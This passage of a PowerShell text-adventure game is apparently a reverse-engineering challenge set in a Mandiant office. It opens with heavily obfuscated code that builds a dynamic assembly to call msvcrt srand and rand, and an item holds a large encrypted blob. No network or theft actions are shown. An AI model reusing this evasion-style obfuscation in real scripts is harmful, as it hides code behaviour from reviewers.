"sJ2VDVElPTi5lbUl0LicsJ0JVaUxEJywnUklidScsJ2wnLCd0ZScsJ3JFZicsJ3InICkoICAgJH"+`
"tEYGxMYElNcE9gUmBUQ29uYFNUUnVDVE9SfSwgQCgke2RgTGx9ICApLCAke2ZJZUxkYEFgUmBSQ"+`
"Xl9LCAke2ZpRWxkVmFgTGB1YGVzfSAgKTsgIHJldHVybiAke2FgVFRyfTsgICB9")))
.("{0}{1}{2}"-f 'SEt-IT','E','M') VariaBLE:q21s ( [TyPE]("{1}{0}{2}" -F'oMaI','aPpd','n') ); &("{1}{0}" -f 'et-ITeM','s') ('V'+'aRiAbl'+'e:x1R'+'wF') ( [TYPe]("{3}{2}{7}{0}{6}{4}{5}{1}" -f'On.emi','AcCesS','fL','rE','LyB','UildEr','T.ASseMB','ECti')); function GE`T-`M`svCRT { ${DY`Na`SS`eMBly} = &("{2}{0}{1}" -f'b','ject','New-O') ("{2}{7}{4}{6}{3}{1}{5}{0}"-f'Name','em','Sys','tion.Ass','Refl','bly','ec','tem.')(("{0}{2}{1}"-f 'W','32Lib','in')); ${aSSEM`BlYbU`iL`deR} = $q21s::"CUr`REnTd`omain"."d`e`Fi`NE`dYNamiC`A`ssEMbLy"(${Dyn`AsSEM`Bly}, $x1rWF::"R`UN"); ${MoDuLEB`uI`LDER} = ${a`sseM`Bl`ybUiLD`Er}.("{2}{0}{5}{4}{1}{3}" -f'fin','nami','De','cModule','Dy','e').Invoke(("{2}{1}{0}" -f 'b','n32Li','Wi'), ${F`AlSe}); ${t`ype`BU`ILDER} = ${mOd`uLeBuIL`d`eR}.("{2}{0}{1}" -f'Ty','pe','Define').Invoke(("{0}{1}" -f 'ms','vcrt'), ("{2}{1}{0}"-f 'ass','blic, Cl','Pu')); ${Me`T`H_SRaND} = ${Ty`PeBu`iL`der}.("{3}{0}{2}{1}" -f 'efineMet','d','ho','D').Invoke( ("{0}{1}" -f 'sran','d'), [Reflection.MethodAttributes] ("{2}{3}{0}{4}{1}"-f 'b','c','P','u','lic, Stati'), [Void], [Type[]] @([Int32])); ${Met`H`_r`AND} = ${typ`e`B`uIldeR}.("{0}{2}{1}"-f'D','thod','efineMe').Invoke( ("{1}{0}" -f 'and','r'), [Reflection.MethodAttributes] ("{2}{1}{0}{3}{4}"-f 'lic, ','ub','P','St','atic'), [Int32], [Type[]] @()); ${at`TR_`s`RAnd} = &("{2}{0}{3}{1}{4}"-f'm','t','Get-Custo','At','r') ("{2}{0}{1}"-f'svcr','t.dll','m') ("{1}{0}" -f 'rand','s') ${F`A`lse}; ${ATTR_`R`And} = &("{0}{2}{3}{1}"-f 'Get-Custo','ttr','m','A') ("{2}{1}{0}" -f'dll','vcrt.','ms') ("{1}{0}" -f 'nd','ra') ${f`Alse}; ${mE`TH_srA`Nd}.("{0}{3}{2}{1}" -f'SetCustom','ute','rib','Att').Invoke(${ATtr`_`sr`AND}); ${mETH_`R`AND}.("{1}{2}{3}{0}" -f'ibute','SetCusto','mA','ttr').Invoke(${A`TTR_`RA`ND}); return ${T`ype`BU`IldEr}.("{2}{0}{1}"-f 'teTy','pe','Crea').Invoke(); }
################################################################################
# Character class
################################################################################
function New-Char()
{
return new-object PSObject -Property @{ Name="Our Hero"; Contents=@(); Wearing=@(); }
}
function Get-Inventory($char, $trailing) {
$inv = ''
if ($char.Contents.Count -ne 0) {
foreach ($thing in $char.Contents) {
$inv += "`n $($thing.Name)"
}
}
if ($inv -eq '') {
$inv = 'nothing'
}
return "You have: $inv"
}
################################################################################
# Map class
################################################################################
function New-Map
{
return New-Object PSObject -Property @{ StartingRoom=@() }
}
function Get-Map
{
$map = New-Map
$outside = New-Room "Outside" "You're locked out. It doesn't look like there's a way back in."
Add-RoomLink $outside 'n' $outside
Add-RoomLink $outside 'e' $outside
$vestibule = New-Room "the vestibule" "This is surely the entrance to a great company."
Add-RoomLink $vestibule 's' $outside -OneWay
$lobby = New-Room "the lobby" "There is a reception desk with ferns on either side, and a sign that says MANDIANT."
Add-RoomLink $vestibule 'n' $lobby
$sehall = New-Room "the southeast hallway" "This is the hallway between the lobby and the restrooms"
Add-RoomLink $lobby 'e' $sehall
$mens = New-Room "the men's room" "This is an immaculate men's room."
Add-RoomLink $sehall 'e' $mens
$womens = New-Room "the women's room" "This is an immaculate women's room."
Add-RoomLink $sehall 's' $womens
$cubicles = New-Room "the Mandiant offices" "This is where the magic happens. To the west, open work areas, cubicles, offices, and adjustable desks stretch out and intersect in a dazzling maze as far as the eye can see."
Add-RoomLink $sehall 'n' $cubicles
$confrooms = New-Room "the conference rooms" "A row of impressive conference rooms spans out before you. Behind the frosted glass are clean tables, perfectly aligned chairs, and neatly wired audio/visual equipment. Every conference room is empty. A low hum of server fans can be heard."
Add-RoomLink $cubicles 'n' $confrooms
$office = New-Room "Kevin Mandia's Office" "This room smells of rich mahogany and leather."
Add-RoomLink $confrooms 'n' $office
$itcloset = New-Room "the IT access junction" "A shelf contains neatly labeled bins of adapters, cables, and other IT equipment. A moderate hum of server and switch fans can be heard."
Add-RoomLink $confrooms 'w' $itcloset
$nwhall = New-Room "the northeast hallway" "This hallway links the snack/lunch area with the IT access junction."
Add-RoomLink $itcloset 'w' $nwhall
$lunchroom = New-Room "the snack/lunch area" "An impressive array of juices, waters, coffes, teas, cookies, chips, and snacks adorn every corner. There is an LCD TV displaying a FireEye threat map."
Add-RoomLink $nwhall 's' $lunchroom
$swhall = New-Room "the southwest hallway" "This hallway links the snack/lunch area with the lobby."
Add-RoomLink $lunchroom 's' $swhall
Add-RoomLink $swhall 'e' $lobby
$maze = New-Room "work area" "This is someone's cubicle. The desk has a laptop docked on it, and is festooned with the personal effects of whoever works here. The whiteboard has a humorous drawing on it."
Add-RoomLink $maze 'n' $maze
Add-RoomLink $maze 'e' $maze
Add-RoomLink $maze 'u' $maze
Add-RoomLink $cubicles 'e' $maze -OneWay
$map.StartingRoom = $vestibule
$sign = New-Thing "a MANDIANT sign" "It is a sign saying MANDIANT in large, red letters." @("sign", "mandiant") -Hidden -Fixed
$key = New-Thing "a key" "You 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" @("key")
$drawers = New-Thing "the desk drawers" "The drawers are mostly empty, except the bottom-right drawer which contains some junk." @("drawer", "drawers", "desk drawer", "desk drawers") -Hidden -Fixed -Container -Contents @($key)
$sheet = New-Thing "a sign-in sheet" "It's blank, and chained to the desk." @("sign-in", "sign-in sheet", "sheet", "signin", "signin sheet") -Hidden -Fixed
$fern1 = New-Thing "a potted fern" "It is a healthy fern." @("fern", "ferns") -Hidden
$fern2 = New-Thing "a potted fern" "It is a healthy fern." @("fern", "ferns") -Hidden
$desk = New-Thing "a desk" "It's a plain desk with a sign-in sheet and laptop on top and a few drawers on the sides." @("desk") -Fixed
$computer = (New-Thing "a computer" "It's powered off and tethered to the desk with a chain." @("computer", "laptop") -Hidden -Fixed)
$lobby.Contents += $sign
$lobby.Contents += $desk
$lobby.Contents += $fern1
$lobby.Contents += $fern2
$lobby.Contents += $drawers
$lobby.Contents += $sheet
$lobby.Contents += $computer
$pewpew = New-Thing "an LCD TV displaying a FireEye threat map" "Pew pew." @("threat map", "threatmap", "map", "tv", "lcd") -Hidden -Fixed
$lunchroom.Contents += $pewpew
$kevinmandia = New-Thing "Kevin Mandia" "This guy looks pretty intense." @("kevin", "mandia", "kevinmandia", "theman", "themyth", "thelegend") -Fixed
$kevinsdesk = New-Thing "Kevin Mandia's Desk" "It is made of rich mahogany." @("desk") -Fixed
$helmet = New-Thing "A football helmet" "It is a black football helmet with a FireEye logo on the side and numerous cryptic decals. It begs to be worn." @("helmet")
$office.Contents += $kevinmandia
$office.Contents += $kevinsdesk
$office.Contents += $helmet
return $map
}
################################################################################
# Room class
################################################################################
function New-Exits([PSObject]$n=$null, [PSObject]$s=$null, [PSObject]$e=$null, [PSObject]$w=$null, [PSObject]$u=$null, [PSObject]$d=$null)
{
return New-Object PSObject -Property @{ N=$n; S=$s; E=$e; W=$W; U=$u; D=$d }
}
function New-Room([String]$name, [String]$desc, [PSObject]$n=$null, [PSObject]$s=$null, [PSObject]$e=$null, [PSObject]$w=$null, [PSObject]$u=$null, [PSObject]$d=$null)
{
return New-Object PSObject -Property @{ Name=$name; Desc=$desc; Contents=@(); Exits=New-Exits $n $s $e $w $u $d }
}
function Add-RoomLink([PSObject]$room1, $dir_to_2, [PSObject]$room2, [Switch]$OneWay=$false)
{
switch ($dir_to_2.ToLower()) {
'n' { $room1.Exits.N = $room2; if ($OneWay -eq $false) { $room2.Exits.S = $room1 } }
's' { $room1.Exits.S = $room2; if ($OneWay -eq $false) { $room2.Exits.N = $room1 } }
'e' { $room1.Exits.E = $room2; if ($OneWay -eq $false) { $room2.Exits.W = $room1 } }
'w' { $room1.Exits.W = $room2; if ($OneWay -eq $false) { $room2.Exits.E = $room1 } }
'u' { $room1.Exits.U = $room2; if ($OneWay -eq $false) { $room2.Exits.D = $room1 } }
'd' { $room1.Exits.D = $room2; if ($OneWay -eq $false) { $room2.Exits.U = $room1 } }
}
}
function Get-RoomAdjoining($room, $direction) {
$adjoining = $null
switch ($direction.ToLower()) {
'n' { $adjoining = $room.Exits.N }
'north' { $adjoining = $room.Exits.N }
's' { $adjoining = $room.Exits.S }
'south' { $adjoining = $room.Exits.S }
'e' { $adjoining = $room.Exits.E }
'east' { $adjoining = $room.Exits.E }
'w' { $adjoining = $room.Exits.W }
'west' { $adjoining = $room.Exits.W }
'u' { $adjoining = $room.Exits.U }
'up' { $adjoining = $room.Exits.U }
'd' { $adjoining = $room.Exits.D }
'down' { $adjoining = $room.Exits.D }
}
return $adjoining
}
################################################################################
# Item class
################################################################################
function New-Thing($name, $desc, [String[]]$keywords, [Switch]$container=$false, [PSObject[]]$contents=@(), [Switch]$hidden=$false, [Switch]$fixed=$false)
{
return new-object PSObject -Property @{ Name=$name; Desc=$desc; Keywords=$keywords; Container=$container; Contents=$contents; Hidden=$hidden; Fixed=$fixed }
}
function Get-ThingByKeyword($container, $kw) {
foreach ($thing in $container.Contents) {
if ($thing.Keywords -contains $kw.ToLower()) {
return $thing
}
}
return $null
}
################################################################################
# Commands
################################################################################
function Get-NotImplementedCmd()
{
return "You don't know how to do that yet."
}
function Get-InvalidCmd()
{
return "Huh?"
}
################################################################################
# UI/char/game
################################################################################
function Invoke-Move($char, $room, $cmd) {
$split = $cmd.Split()
$base = $split[0]
$trailing = [String]$split[1..$split.Length]
Add-ConsoleText "`n> $cmd"
$script:lastcmd = $cmd
$resp = ''
switch($base.ToLower()) {
'' { } # Instead of going "Huh?" when the player just presses enter
'h' { $resp = Get-SudHelp }
'help' { $resp = Get-SudHelp }
'q' { $script:window.Close() }
'quit' { $script:window.Close() }
'exit' { $script:window.Close() }
'inv' { $resp = Get-Inventory $char $trailing }
'inventory' { $resp = Get-Inventory $char $trailing }
'get' { $resp = Invoke-GetThing $char $room $trailing }
'wear' { $resp = Invoke-Wear $char $trailing }
'remove' { $resp = Invoke-Remove $char $trailing }
'drop' { $resp = Invoke-DropThing $char $room $trailing }
'l' { $resp = Get-LookText $char $room $trailing }
'look' { $resp = Get-LookText $char $room $trailing }
'n' { $resp = Invoke-MoveDirection $char $room 'n' $trailing }
'north' { $resp = Invoke-MoveDirection $char $room 'n' $trailing }
's' { $resp = Invoke-MoveDirection $char $room 's' $trailing }
'south' { $resp = Invoke-MoveDirection $char $room 's' $trailing }
'e' { $resp = Invoke-MoveDirection $char $room 'e' $trailing }
'east' { $resp = Invoke-MoveDirection $char $room 'e' $trailing }
'w' { $resp = Invoke-MoveDirection $char $room 'w' $trailing }
'west' { $resp = Invoke-MoveDirection $char $room 'w' $trailing }
'u' { $resp = Invoke-MoveDirection $char $room 'u' $trailing }
'up' { $resp = Invoke-MoveDirection $char $room 'u' $trailing }
'd' { $resp = Invoke-MoveDirection $char $room 'd' $trailing }
'down' { $resp = Invoke-MoveDirection $char $room 'd' $trailing }
'say' { $resp = Invoke-Say $char $room $trailing }
default { $resp = Get-InvalidCmd($char) }
}
if ($resp -ne '') {
Add-ConsoleText $resp
}
}
function Get-SudHelp {
$resp = ""
$resp += "Game commands:`n"
$resp += "h[elp] - See this help`n"
$resp += "q[uit] - Exit the game`n"
$resp += "`n"
$resp += "Area commands:`n"
$resp += "l[ook] [object] - Look at the room [or at an optional object)`n"
$resp += "n[orth] - Move north`n"
$resp += "s[outh] - Move south`n"
$resp += "e[ast] - Move east`n"
$resp += "w[est] - Move west`n"
$resp += "u[p] - Move up`n"
$resp += "d[own] - Move down`n"
$resp += "`n"
$resp += "Personal commands:`n"
$resp += "say <someone> <words...> - Say <words...> to <someone>`n"
$resp += "wear <inventory-item> - Put <inventory-item> on`n"
$resp += "remove <thing> - Take <thing> off`n"
$resp += "`n"
$resp += "Inventory commands:"
$resp += "inv[entory] - Check your inventory`n"
$resp += "get <object> [location] - Get object [from within optional location])`n"
$resp += "drop <object> - Put object down`n"
return $resp
}
function Add-ConsoleText($text) {
$script:console.AppendText("`n$text")
Invoke-ScrollToEnd
}
function Invoke-ScrollToEnd() {
$script:console.SelectionStart = $script:console.TextLength
$script:console.ScrollToCaret()
}
function Invoke-Wear($char, $trailing) {
$thing = Get-ThingByKeyword $char $trailing
if ($thing -eq $null) {
$resp = "You don't have a $trailing to wear."
} else {
if ($trailing -ne "helmet") {
$resp = "You put the $trailing on your head. It looks objectively silly."
} else {
$resp = "You put the $trailing on your head. It looks objectively awesome."
}
$al = [System.Collections.ArrayList]($char.Contents)
$al.Remove($thing)
$char.Contents = $al
$char.Wearing += $thing
}
return $resp
}
function Invoke-Remove($char, $trailing) {
$resp = "You are not wearing a $trailing."
$removing = $null
foreach ($thing in $char.Wearing) {
if ($thing.Keywords -contains $trailing.ToLower()) {
$removing = $thing
break
}
}
if ($removing -ne $null) {
$resp = "You take off the $trailing."
$al = [System.Collections.ArrayList]($char.Wearing)
$al.Remove($thing)
$char.Wearing = $al
$char.Contents += $thing
}
return $resp
}
function Invoke-DropThing($char, $room, $trailing) {
$resp = ''
$thing = Get-ThingByKeyword $char $trailing
if ($thing -eq $null) {
$resp = "You don't have a $trailing to drop."
} else {
$result = Invoke-TransferThing $char $room $thing
if ($result -eq $true) {
$resp = "You drop a $trailing"
} else {
$resp = "For whatever reason, you can't drop the $trailing"
}
}
return $resp
}
function Invoke-TransferThing([PSObject][ref]$container_old, [PSObject][ref]$container_new, $thing) {
$ret = $false
if ($thing.Fixed -eq $false) {
